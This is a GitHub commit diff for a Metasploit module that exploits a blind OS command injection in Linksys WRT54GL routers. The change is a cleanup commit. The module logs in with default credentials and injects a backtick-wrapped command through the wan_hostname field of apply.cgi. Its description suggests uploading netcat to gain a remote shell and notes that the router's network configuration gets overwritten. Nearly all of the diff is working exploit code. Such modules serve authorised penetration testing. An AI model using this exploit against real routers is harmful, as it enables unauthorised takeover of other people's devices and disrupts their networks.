Skip to content

Commit 1fc7479

Browse files
author
jvazquez-r7
committed
cleanup for linksys_wrt54gl_exec
1 parent 816bc79 commit 1fc7479

File tree

1 file changed

+118
-107
lines changed

1 file changed

+118
-107
lines changed

‎modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb

Lines changed: 118 additions & 107 deletions
Original file line numberDiff line numberDiff line change
@@ -17,14 +17,14 @@ def initialize(info = {})
1717
'Description' => %q{
1818
Some Linksys Routers are vulnerable to OS Command injection.
1919
You will need credentials to the web interface to access the vulnerable part
20-
of the application.
21-
Default credentials are always a good starting point. admin/admin or admin
20+
of the application.
21+
Default credentials are always a good starting point. admin/admin or admin
2222
and blank password could be a first try.
23-
Note: This is a blind os command injection vulnerability. This means that
24-
you will not see any output of your command. Try a ping command to your
23+
Note: This is a blind os command injection vulnerability. This means that
24+
you will not see any output of your command. Try a ping command to your
2525
local system for a first test.
26-
27-
Hint: To get a remote shell you could upload a netcat binary and exec it.
26+
27+
Hint: To get a remote shell you could upload a netcat binary and exec it.
2828
WARNING: Backup your network and dhcp configuration. We will overwrite it!
2929
Have phun
3030
},
@@ -37,7 +37,7 @@ def initialize(info = {})
3737
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
3838
[ 'EDB', '24202' ],
3939
[ 'BID', '57459' ],
40-
[ 'OSVDB', '89421' ],
40+
[ 'OSVDB', '89421' ]
4141
],
4242
'DefaultTarget' => 0,
4343
'DisclosureDate' => 'Jan 18 2013'))
@@ -47,13 +47,13 @@ def initialize(info = {})
4747
Opt::RPORT(80),
4848
OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
4949
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
50-
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
50+
OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
5151
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
5252
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
5353
OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']),
5454
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
5555
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
56-
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']),
56+
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
5757
], self.class)
5858
end
5959

@@ -66,126 +66,137 @@ def run
6666
routername = datastore['ROUTER_NAME']
6767
wandomain = datastore['WAN_DOMAIN']
6868
wanmtu = datastore['WAN_MTU']
69-
69+
7070
if datastore['LANIP'] !~ /1.1.1.1/
7171
#there is a configuration from the user so we use LANIP for the router configuration
7272
ip = datastore['LANIP'].split('.')
7373
else
7474
#no configuration from user so we use RHOST for the router configuration
7575
ip = rhost.split('.')
7676
end
77-
78-
# not sure if this is a good way for blank passwords:
79-
if datastore['PASSWORD'] == "<BLANK>"
77+
78+
if datastore['PASSWORD'].nil?
8079
pass = ""
8180
else
8281
pass = datastore['PASSWORD']
8382
end
8483

8584
print_status("Trying to login with #{user} / #{pass}")
8685

87-
begin
88-
res = send_request_cgi({
89-
'uri' => uri,
90-
'method' => 'GET',
91-
'basic_auth' => "#{user}:#{pass}"
92-
})
93-
94-
unless (res.kind_of? Rex::Proto::Http::Response)
95-
vprint_error("#{rhost} not responding")
96-
end
97-
98-
return :abort if (res.code == 404)
99-
100-
if [200, 301, 302].include?(res.code)
101-
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
102-
else
103-
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
104-
return :abort
105-
end
106-
107-
rescue ::Rex::ConnectionError
108-
vprint_error("#{rhost} - Failed to connect to the web server")
109-
return :abort
110-
end
111-
112-
print_status("Sending remote command: " + datastore['CMD'])
86+
begin
87+
res = send_request_cgi({
88+
'uri' => uri,
89+
'method' => 'GET',
90+
'basic_auth' => "#{user}:#{pass}"
91+
})
92+
93+
unless (res.kind_of? Rex::Proto::Http::Response)
94+
vprint_error("#{rhost} not responding")
95+
return :abort
96+
end
97+
98+
if (res.code == 404)
99+
print_error("Not Found page returned")
100+
return :abort
101+
end
102+
103+
if [200, 301, 302].include?(res.code)
104+
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
105+
else
106+
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
107+
return :abort
108+
end
109+
110+
rescue ::Rex::ConnectionError
111+
vprint_error("#{rhost} - Failed to connect to the web server")
112+
return :abort
113+
end
113114

114-
# cmd = Rex::Text.uri_encode(datastore['CMD'])
115115
cmd = datastore['CMD']
116116

117+
print_status("Sending remote command: " + cmd)
118+
119+
#cmd = Rex::Text.uri_encode(datastore['CMD'])
117120
#original Post Request:
118-
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
121+
#data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
122+
#data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
123+
#data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
124+
#data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
125+
#data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
126+
#data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
127+
#data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
128+
#data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
119129

120-
if datastore['VERBOSE'] == true
121-
print_line("using the following target URL: \n#{uri}")
122-
end
130+
vprint_status("using the following target URL: #{uri}")
123131

124132
begin
125-
res = send_request_cgi(
126-
{
127-
'uri' => uri,
128-
'method' => 'POST',
129-
'basic_auth' => "#{pass}:#{pass}",
130-
#'data' => data_cmd,
131-
132-
'vars_post' =>
133-
{
134-
'submit_button' => "index",
135-
'change_action' => "1",
136-
'submit_type' => "1",
137-
'action' => "Apply",
138-
'now_proto' => "dhcp",
139-
'daylight_time' => "1",
140-
'lan_ipaddr' => "4",
141-
'wait_time' => "0",
142-
'need_reboot' => "0",
143-
'ui_language' => "de",
144-
'wan_proto' => "dhcp",
145-
'router_name' => "#{routername}",
146-
'wan_hostname' => "`#{cmd}`",
147-
'wan_domain' => "#{wandomain}",
148-
'mtu_enable' => "1",
149-
'wan_mtu' => "#{wanmtu}",
150-
'lan_ipaddr_0' => "#{ip[0]}",
151-
'lan_ipaddr_1' => "#{ip[1]}",
152-
'lan_ipaddr_2' => "#{ip[2]}",
153-
'lan_ipaddr_3' => "#{ip[3]}",
154-
'lan_netmask' => "#{netmask}",
155-
'lan_proto' => "dhcp",
156-
'dhcp_check' => "1",
157-
'dhcp_start' => "100",
158-
'dhcp_num' => "50",
159-
'dhcp_lease' => "0",
160-
'wan_dns' => "4",
161-
'wan_dns0_0' => "0",
162-
'wan_dns0_1' => "0",
163-
'wan_dns0_2' => "0",
164-
'wan_dns0_3' => "0",
165-
'wan_dns1_0' => "0",
166-
'wan_dns1_1' => "0",
167-
'wan_dns1_2' => "0",
168-
'wan_dns1_3' => "0",
169-
'wan_dns2_0' => "0",
170-
'wan_dns2_1' => "0",
171-
'wan_dns2_2' => "0",
172-
'wan_dns2_3' => "0",
173-
'wan_wins' => "4",
174-
'wan_wins_0' => "0",
175-
'wan_wins_1' => "0",
176-
'wan_wins_2' => "0",
177-
'wan_wins_3' => "0",
178-
'time_zone' => "-08+1+1",
179-
'_daylight_time' => '1'
180-
},
181-
})
182-
rescue ::Rex::ConnectionError
183-
vprint_error("#{rhost} - Failed to connect to the web server")
184-
return :abort
185-
end
186-
print_line("")
133+
res = send_request_cgi({
134+
'uri' => uri,
135+
'method' => 'POST',
136+
'basic_auth' => "#{pass}:#{pass}",
137+
#'data' => data_cmd,
138+
139+
'vars_post' => {
140+
'submit_button' => "index",
141+
'change_action' => "1",
142+
'submit_type' => "1",
143+
'action' => "Apply",
144+
'now_proto' => "dhcp",
145+
'daylight_time' => "1",
146+
'lan_ipaddr' => "4",
147+
'wait_time' => "0",
148+
'need_reboot' => "0",
149+
'ui_language' => "de",
150+
'wan_proto' => "dhcp",
151+
'router_name' => "#{routername}",
152+
'wan_hostname' => "`#{cmd}`",
153+
'wan_domain' => "#{wandomain}",
154+
'mtu_enable' => "1",
155+
'wan_mtu' => "#{wanmtu}",
156+
'lan_ipaddr_0' => "#{ip[0]}",
157+
'lan_ipaddr_1' => "#{ip[1]}",
158+
'lan_ipaddr_2' => "#{ip[2]}",
159+
'lan_ipaddr_3' => "#{ip[3]}",
160+
'lan_netmask' => "#{netmask}",
161+
'lan_proto' => "dhcp",
162+
'dhcp_check' => "1",
163+
'dhcp_start' => "100",
164+
'dhcp_num' => "50",
165+
'dhcp_lease' => "0",
166+
'wan_dns' => "4",
167+
'wan_dns0_0' => "0",
168+
'wan_dns0_1' => "0",
169+
'wan_dns0_2' => "0",
170+
'wan_dns0_3' => "0",
171+
'wan_dns1_0' => "0",
172+
'wan_dns1_1' => "0",
173+
'wan_dns1_2' => "0",
174+
'wan_dns1_3' => "0",
175+
'wan_dns2_0' => "0",
176+
'wan_dns2_1' => "0",
177+
'wan_dns2_2' => "0",
178+
'wan_dns2_3' => "0",
179+
'wan_wins' => "4",
180+
'wan_wins_0' => "0",
181+
'wan_wins_1' => "0",
182+
'wan_wins_2' => "0",
183+
'wan_wins_3' => "0",
184+
'time_zone' => "-08+1+1",
185+
'_daylight_time' => '1'
186+
}
187+
})
188+
rescue ::Rex::ConnectionError
189+
vprint_error("#{rhost} - Failed to connect to the web server")
190+
return :abort
191+
end
192+
193+
if res and res.code == 200
194+
print_status("Blind Exploitation - Response expected")
195+
else
196+
print_error("Blind Exploitation - Response don't expected")
197+
end
187198
print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
188-
print_status("Blind Exploitation - unknown Exploitation state\n")
199+
print_status("Blind Exploitation - unknown Exploitation state")
189200
end
190201
end
191202

0 commit comments

Comments
 (0)